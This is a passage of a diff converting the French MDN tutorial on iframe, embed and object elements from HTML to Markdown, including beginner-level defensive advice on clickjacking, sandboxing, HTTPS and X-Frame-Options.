value="Afficher la solution"> +</div> +``` + +```css hidden +html { font-family: sans-serif; } @@ -107,9 +122,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -139,7 +156,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; +var htmlSolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -185,213 +202,161 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> - -<p>{{ EmbedLiveSample("Apprentissage_actif_utilisations_classiques_de_l'intégration", 700, 600, "", "", "hide-codepen-jsfiddle") }}</p> - -<h2 id="Iframes_en_détail">Iframes en détail</h2> - -<p>Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme <a href="https://disqus.com/">Disqus</a>, des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des <code><iframe></code>.</p> - -<p>Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec <iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme :</p> - -<pre><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" - width="100%" height="500" frameborder="0" - allowfullscreen sandbox> - <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary"> - Lien de repli pour les navigateurs ne prenant pas en charge iframe </a> </p> -</iframe></pre> - -<p>Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un <code><iframe></code> :</p> - -<dl> - <dt>{{htmlattrxref('allowfullscreen','iframe')}}</dt> - <dd>Si activé, <code><iframe></code> pourra être mis en mode plein écran avec <a href="/fr/docs/Web/API/Fullscreen_API">Full Screen API</a> (un peu hors‑sujet dans cet article).</dd> - <dt>{{htmlattrxref('frameborder','iframe')}}</dt> - <dd>Si défini à la valeur 1, demande à l'explorateur de tracer une bordure entre cadres, c'est le comportement par défaut. 0 supprime la bordure. L'utilisation d'un tel attribut n'est plus trop recommandée, car le même résultat peut être obtenu en mieux avec {{cssxref('border')}}<code>: none;</code> dans le {{Glossary('CSS')}}.</dd> - <dt>{{htmlattrxref('src','iframe')}}</dt> - <dd>Cet attribut, comme avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer.</dd> - <dt>{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}</dt> - <dd>Ces attributs définissent la largeur et la hauteur souhaitée pour <code><iframe></code>.</dd> - <dt><strong>Contenu de repli</strong></dt> - <dd>Comme pour d'autres éléments semblables, tels {{htmlelement("video")}}, vous pouvez préciser un contenu de repli entre les balises ouvrantes et fermantes <code><iframe></iframe></code> qui seront affichées si l'explorateur ne prend pas en charge <code><iframe></code>. Dans notre cas nous avons mis un lien vers une page. Il est peu vraisemblable que vous rencontriez de nos jours un explorateur qui ne prenne pas en charge <code><iframe></code>.</dd> - <dt>{{htmlattrxref('sandbox','iframe')}}</dt> - <dd>Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de <code><iframe></code> (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant.</dd> -</dl> - -<div class="note"> -<p><strong>Note :</strong> Afin d'améliorer la vitesse, il est pertinent de définir l'attribut <code>src</code> de <code>iframe</code> avec JavaScript après que le chargement du contenu principal est effectué. La page est utilisable plus tôt et le temps de chargement officiel de la page est diminué (une métrique {{glossary("SEO")}} importante).</p> -</div> +}; +``` -<h3 id="Problèmes_de_sécurité">Problèmes de sécurité</h3> +{{ EmbedLiveSample("Apprentissage_actif_utilisations_classiques_de_l'intégration", 700, 600, "", "", "hide-codepen-jsfiddle") }} -<p>Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de <code><iframe></code> dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser <code><iframe></code> — il faut juste être prudent. Poursuivons ...</p> +## Iframes en détail -<p>Fabricants de navigateurs et développeurs Web ont appris à la dure que <code><iframe></code> constitue sur le Web une cible commune (terme officiel : un <strong>vecteur d'attaque</strong>) pour des personnes mal intentionnées (souvent appelés <strong>hackeurs (</strong>pirates), ou plus exactement, <strong>crackeurs</strong>). <code><iframe></code> est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre <code><iframe></code> plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous.</p> +Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme [Disqus](https://disqus.com/), des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des `<iframe>`. -<div class="note"> -<p><strong>Note :</strong> Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de <code><iframe></code> : les hackeurs incorporent un <code><iframe></code> invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles.</p> -</div> +Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec \<iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme : -<p>Un exemple rapide d'abord - essayez de charger l'exemple précédent que nous avons montré ci-dessus dans votre navigateur - vous pouvez le <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html">trouver en direct sur Github</a> (voyez le <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html">code source</a> aussi). Vous ne verrez rien d'affiché sur la page, et si vous regardez la <em>Console</em> dans les <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">outils de développement</a> du navigateur, vous verrez un message vous disant pourquoi. Dans Firefox, ce message indique <em>Load denied by X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary does not permit framing</em> (<em>Chargement interdit par X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary ne permet pas la mise en cadre</em>) . C'est parce que les développeurs qui ont construit MDN ont inclus un paramètre sur le serveur des pages du site empêchant l'intégration de ces pages sur un autre site avec <code><iframe></code> (voir {{anch("Configurer les directives CSP")}}, ci-dessous). Parfaitement sensé — il n'y a aucune raison d'intégrer une page entière de MDN dans d'autres pages, sauf à vouloir les intégrer dans votre site et les prétendre vôtres, ou bien tenter de voler des données par l'intermédiaire d'un détournement de clic, actions qui sont tous les deux des malhonnêtetés. De plus, si tout le monde se mettait à faire cela, toute la bande passante supplémentaire nécessaire commencerait à coûter un paquet d'argent à Mozilla.</p> + <iframe src="https://developer.mozilla.org/en-US/docs/Glossary" + width="100%" height="500" frameborder="0" + allowfullscreen sandbox> + <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary"> + Lien de repli pour les navigateurs ne prenant pas en charge iframe </a> </p> + </iframe> -<h4 id="N'intégrer_que_si_nécessaire">N'intégrer que si nécessaire</h4> +Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un `<iframe>` : -<p>Il est parfois judicieux d'intégrer un contenu tiers — comme une vidéo YouTube ou des cartes — mais vous pouvez vous éviter bien des maux de tête si vous n'intégrez du contenu tierce partie qu'en cas de nécessité. Pour la sécurité sur le Web, voici une bonne règle d'or : "On n'est jamais trop prudent. Si vous l'avez fait, vérifiez quand même. Si quelqu'un d'autre l'a fait, supposez que c'est dangereux jusqu'à preuve du contraire."</p> +- {{htmlattrxref('allowfullscreen','iframe')}} + - : Si activé, `<iframe>` pourra être mis en mode plein écran avec [Full Screen API](/fr/docs/Web/API/Fullscreen_API) (un peu hors‑sujet dans cet article). +- {{htmlattrxref('frameborder','iframe')}} + - : Si défini à la valeur 1, demande à l'explorateur de tracer une bordure entre cadres, c'est le comportement par défaut. 0 supprime la bordure. L'utilisation d'un tel attribut n'est plus trop recommandée, car le même résultat peut être obtenu en mieux avec {{cssxref('border')}}`: none;` dans le {{Glossary('CSS')}}. +- {{htmlattrxref('src','iframe')}} + - : Cet attribut, comme avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer. +- {{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}} + - : Ces attributs définissent la largeur et la hauteur souhaitée pour `<iframe>`. +- **Contenu de repli** + - : Comme pour d'autres éléments semblables, tels {{htmlelement("video")}}, vous pouvez préciser un contenu de repli entre les balises ouvrantes et fermantes `<iframe></iframe>` qui seront affichées si l'explorateur ne prend pas en charge `<iframe>`. Dans notre cas nous avons mis un lien vers une page. Il est peu vraisemblable que vous rencontriez de nos jours un explorateur qui ne prenne pas en charge `<iframe>`. +- {{htmlattrxref('sandbox','iframe')}} + - : Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de `<iframe>` (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant. -<p>Outre la sécurité, vous devez également prendre en considération les questions de propriété intellectuelle. La plupart des contenus sont protégés par des droits d'auteur, hors ligne et en ligne, même du contenu auquel vous ne vous attendez pas (par exemple, la plupart des images sur <a href="https://commons.wikimedia.org/wiki/Main_Page">Wikimedia Commons</a>). N'affichez jamais de contenu sur votre page Web à moins que vous en soyez propriétaire ou que les propriétaires vous aient donné une autorisation écrite sans équivoque. Les sanctions en cas de violation du droit d'auteur sont sévères. Encore une fois, on n'est jamais trop prudent.</p> +> **Note :** Afin d'améliorer la vitesse, il est pertinent de définir l'attribut `src` de `iframe` avec JavaScript après que le chargement du contenu principal est effectué. La page est utilisable plus tôt et le temps de chargement officiel de la page est diminué (une métrique {{glossary("SEO")}} importante). -<div> -<p>Si le contenu est sous licence, vous devez en respecter les termes. Par exemple, le contenu de MDN est sous licence CC-BY-SA. Cela signifie que vous devez correctement porter à notre crédit toute citation de notre contenu, même si vous y apportez des modifications substantielles.</p> -</div> +### Problèmes de sécurité -<h4 id="Utilisez_HTTPS">Utilisez HTTPS</h4> +Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de `<iframe>` dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser `<iframe>` — il faut juste être prudent. Poursuivons ... -<p>{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez alimenter vos serveurs Web en utilisant HTTPS chaque fois que c'est possible :</p> +Fabricants de navigateurs et développeurs Web ont appris à la dure que `<iframe>` constitue sur le Web une cible commune (terme officiel : un **vecteur d'attaque**) pour des personnes mal intentionnées (souvent appelés **hackeurs (**pirates), ou plus exactement, **crackeurs**). `<iframe>` est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre `<iframe>` plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous. -<ol> - <li> HTTPS réduit les risques d'altération du contenu distant lors du transfert,</li> - <li> HTTPS empêche le contenu intégré d'accéder à celui du document parent, et inversement.</li> -</ol> +> **Note :** Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de `<iframe>` : les hackeurs incorporent un `<iframe>` invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles. -<p>L'utilisation de HTTPS nécessite un certificat de sécurité, ce qui peut être coûteux (bien que <a href="https://letsencrypt.org/">Let's Encrypt</a> facilite les choses) — si vous ne pouvez pas en obtenir un, vous pouvez charger votre document parent sur le serveur en HTTP. Cependant, en raison de la deuxième fonctionnalité de HTTPS indiquée ci-dessus, <em>et dans ce cas les histoires de coût n'interviennent plus, vous ne devez jamais intégrer du contenu tierce partie avec HTTP</em> (dans le meilleur des cas, le navigateur Web de votre utilisateur lui affichera un avertissement effrayant). Toutes les sociétés sérieuses, rendant leur contenu disponible pour une intégration via un <code><iframe></code>, le rendront disponible avec HTTPS — regardez les URLs à l'intérieur de l'attribut <code>src</code> de <code><iframe></code> lorsque vous intégrez du contenu Google Maps ou YouTube, par exemple.</p> +Un exemple rapide d'abord - essayez de charger l'exemple précédent que nous avons montré ci-dessus dans votre navigateur - vous pouvez le [trouver en direct sur Github](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) (voyez le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) aussi). Vous ne verrez rien d'affiché sur la page, et si vous regardez la _Console_ dans les [outils de développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) du navigateur, vous verrez un message vous disant pourquoi. Dans Firefox, ce message indique _Load denied by X-Frame-Options: https\://developer.mozilla.org/en-US/docs/Glossary does not permit framing_ (_Chargement interdit par X-Frame-Options: https\://developer.mozilla.org/en-US/docs/Glossary ne permet pas la mise en cadre_) . C'est parce que les développeurs qui ont construit MDN ont inclus un paramètre sur le serveur des pages du site empêchant l'intégration de ces pages sur un autre site avec `<iframe>` (voir {{anch("Configurer les directives CSP")}}, ci-dessous). Parfaitement sensé — il n'y a aucune raison d'intégrer une page entière de MDN dans d'autres pages, sauf à vouloir les intégrer dans votre site et les prétendre vôtres, ou bien tenter de voler des données par l'intermédiaire d'un détournement de clic, actions qui sont tous les deux des malhonnêtetés. De plus, si tout le monde se mettait à faire cela, toute la bande passante supplémentaire nécessaire commencerait à coûter un paquet d'argent à Mozilla. -<div class="note"> -<p><strong>Note :</strong> <a href="/fr/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> allows content to be served via HTTPS by default, so is useful for hosting content. If you are using different hosting and are not sure, ask your hosting provider about it.</p> -</div> +#### N'intégrer que si nécessaire -<h4 id="Toujours_utiliser_l'attribut_sandbox">Toujours utiliser l'attribut <code>sandbox</code></h4> +Il est parfois judicieux d'intégrer un contenu tiers — comme une vidéo YouTube ou des cartes — mais vous pouvez vous éviter bien des maux de tête si vous n'intégrez du contenu tierce partie qu'en cas de nécessité. Pour la sécurité sur le Web, voici une bonne règle d'or : "On n'est jamais trop prudent. Si vous l'avez fait, vérifiez quand même. Si quelqu'un d'autre l'a fait, supposez que c'est dangereux jusqu'à preuve du contraire." -<p>Pour minimiser la possibilité que des attaquants commettent des actions néfastes sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un <a href="https://en.wikipedia.org/wiki/Sandbox_(computer_security)">sandbox </a>(<em>bac à sable</em>).</p> +Outre la sécurité, vous devez également prendre en considération les questions de propriété intellectuelle. La plupart des contenus sont protégés par des droits d'auteur, hors ligne et en ligne, même du contenu auquel vous ne vous attendez pas (par exemple, la plupart des images sur [Wikimedia Commons](https://commons.wikimedia.org/wiki/Main_Page)). N'affichez jamais de contenu sur votre page Web à moins que vous en soyez propriétaire ou que les propriétaires vous aient donné une autorisation écrite sans équivoque. Les sanctions en cas de violation du droit d'auteur sont sévères. Encore une fois, on n'est jamais trop prudent. -<p>Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut <code>sandbox</code> sans paramètres, comme montré dans notre exemple précédent.</p> +Si le contenu est sous licence, vous devez en respecter les termes. Par exemple, le contenu de MDN est sous licence CC-BY-SA. Cela signifie que vous devez correctement porter à notre crédit toute citation de notre contenu, même si vous y apportez des modifications substantielles. -<p>Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut <code>sandbox=""</code>) — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez <em>jamais</em> mettre à la fois les valeurs <code>allow-scripts</code> et <code>allow-same-origin</code> aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ».</p> +#### Utilisez HTTPS -<div class="note"> -<p><strong>Note :</strong> Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un <code><iframe></code>). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}.</p> -</div> +{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez alimenter vos serveurs Web en utilisant HTTPS chaque fois que c'est possible : -<h4 id="Configurer_les_directives_CSP">Configurer les directives CSP</h4> +1. HTTPS réduit les risques d'altération du contenu distant lors du transfert, +2. HTTPS empêche le contenu intégré d'accéder à celui du document parent, et inversement. -<p>{{Glossary("CSP")}} est un acronyme pour « <strong><a href="/fr/docs/Web/Security/CSP">content security policy</a></strong> » (politique de sécurité du contenu) ; les directives CSP fournissent un <a href="/fr/docs/Web/Security/CSP/CSP_policy_directives">ensemble d'en‑têtes HTTP</a> (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les <code><iframe></code>, vous pouvez <em><a href="/fr/docs/Web/HTTP/X-Frame-Options">configurer votre serveur pour qu'il adresse une en‑tête appropriée <code>X-Frame-Options</code></a>.</em> Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut.</p> +L'utilisation de HTTPS nécessite un certificat de sécurité, ce qui peut être coûteux (bien que [Let's Encrypt](https://letsencrypt.org/) facilite les choses) — si vous ne pouvez pas en obtenir un, vous pouvez charger votre document parent sur le serveur en HTTP. Cependant, en raison de la deuxième fonctionnalité de HTTPS indiquée ci-dessus, _et dans ce cas les histoires de coût n'interviennent plus, vous ne devez jamais intégrer du contenu tierce partie avec HTTP_ (dans le meilleur des cas, le navigateur Web de votre utilisateur lui affichera un avertissement effrayant). Toutes les sociétés sérieuses, rendant leur contenu disponible pour une intégration via un `<iframe>`, le rendront disponible avec HTTPS — regardez les URLs à l'intérieur de l'attribut `src` de `<iframe>` lorsque vous intégrez du contenu Google Maps ou YouTube, par exemple. -<div class="note"> -<p><strong>Note :</strong> Lisez le post de Frederik Braun sur <a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/">On the X-Frame-Options Security Header</a> pour plus d'informations sur le fond de ce sujet. Manifestement, une explication complète est hors des limites de cet article.</p> -</div> +> **Note :** [Github pages](/fr/docs/Learn/Common_questions/Using_Github_pages) allows content to be served via HTTPS by default, so is useful for hosting content. If you are using different hosting and are not sure, ask your hosting provider about it. -<h2 id="Les_éléments_<embed>_et_<object>">Les éléments <embed> et <object></h2> +#### Toujours utiliser l'attribut `sandbox` -<p>Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images !</p> +Pour minimiser la possibilité que des attaquants commettent des actions néfastes sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un [sandbox ](<https://en.wikipedia.org/wiki/Sandbox_(computer_security)>)(_bac à sable_). -<div class="note"> -<p><strong>Note :</strong> Un <strong>greffon</strong> est un logiciel qui permet d'avoir accès à des contenus que le navigateur n'est pas capable de lire de manière native.</p> -</div> +Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut `sandbox` sans paramètres, comme montré dans notre exemple précédent. -<p>Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise.</p> +Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut `sandbox=""`) — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez _jamais_ mettre à la fois les valeurs `allow-scripts` et `allow-same-origin` aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ». -<p>Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce minimum d'information :</p> +> **Note :** Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un `<iframe>`). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}. -<p> </p> +#### Configurer les directives CSP -<table class="standard-table"> - <thead> - <tr> - <th scope="col"> </th> - <th scope="col">{{htmlelement("embed")}}</th> - <th scope="col">{{htmlelement("object")}}</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{glossary("URL")}} du contenu à intégrer</td> - <td>{{htmlattrxref('src','embed')}}</td> - <td>{{htmlattrxref('data','object')}}</td> - </tr> - <tr> - <td>{{glossary("type MIME", 'type de media')}} <em>précis</em> du contenu intégré</td> - <td>{{htmlattrxref('type','embed')}}</td> - <td>{{htmlattrxref('type','object')}}</td> - </tr> - <tr> - <td>hauteur et largeur (en pixels CSS) de la boîte contrôlée par le greffon</td> - <td>{{htmlattrxref('height','embed')}}<br> - {{htmlattrxref('width','embed')}}</td> - <td>{{htmlattrxref('height','object')}}<br> - {{htmlattrxref('width','object')}}</td> - </tr> - <tr> - <td>noms et valeurs à passer en paramètre au greffon</td> - <td>attributs adéquats avec ces noms et valeurs</td> - <td>éléments de la simple balise {{htmlelement("param")}}, contenus dans <code><object></code></td> - </tr> - <tr> - <td>contenu HTML indépendant en repli en cas de ressources inaccessibles</td> - <td>non pris en charge (<code><noembed></code> a été abandonné)</td> - <td>contenu dans <code><object></code>, après <code>les éléments <param></code></td> - </tr> - </tbody> -</table> +{{Glossary("CSP")}} est un acronyme pour « **[content security policy](/fr/docs/Web/Security/CSP)** » (politique de sécurité du contenu) ; les directives CSP fournissent un [ensemble d'en‑têtes HTTP](/fr/docs/Web/Security/CSP/CSP_policy_directives) (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les `<iframe>`, vous pouvez _[configurer votre serveur pour qu'il adresse une en‑tête appropriée `X-Frame-Options`](/fr/docs/Web/HTTP/X-Frame-Options)._ Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut. -<p> </p> +> **Note :** Lisez le post de Frederik Braun sur [On the X-Frame-Options Security Header](https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/) pour plus d'informations sur le fond de ce sujet. Manifestement, une explication complète est hors des limites de cet article. -<div class="note"> -<p><strong>Note :</strong> <code><object></code> requiert un attribut <code>data</code>, un attribut <code>type</code>, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). <code>typemustmatch</code> empêche le fichier incorporé d'être exécuté avant que l'attribut <code>type</code> indique le type exact de média. <code>typemustmatch</code> peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon).</p> -</div> +## Les éléments \<embed> et \<object> + +Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images ! + +> **Note :** Un **greffon** est un logiciel qui permet d'avoir accès à des contenus que le navigateur n'est pas capable de lire de manière native. + +Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise. + +Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce minimum d'information : -<p>Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer un film Flash (voyez ceci <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">en direct sur Github</a> ainsi que <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">le code source</a> également):</p> -<pre class="brush: html"><embed src="whoosh.swf" quality="medium" + +| | {{htmlelement("embed")}} | {{htmlelement("object")}} | +| ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | +| 